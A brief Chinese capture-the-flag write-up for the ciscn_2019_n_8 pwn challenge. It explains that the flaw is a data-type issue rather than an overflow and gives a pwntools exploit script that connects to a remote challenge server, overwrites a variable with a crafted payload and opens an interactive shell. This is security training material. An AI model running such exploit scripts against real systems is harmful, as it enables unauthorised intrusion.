ciscn_2019_n_8

没有溢出，纯粹考察数据类型转化
直接丢exp:

from pwn import *

context.log_level = 'debug'

# sh = process('./ciscn_2019_n_8')
sh = remote('node4.buuoj.cn', 27552)

sh.recv()

payload = b'a' * 4 * 13 + p32(17)+p32(0)

sh.sendline(payload)

sh.interactive()

sh.close()

标签：ciscn,p32,sh,2019,pwn,payload
来源： https://www.cnblogs.com/Mz1-rc/p/15568658.html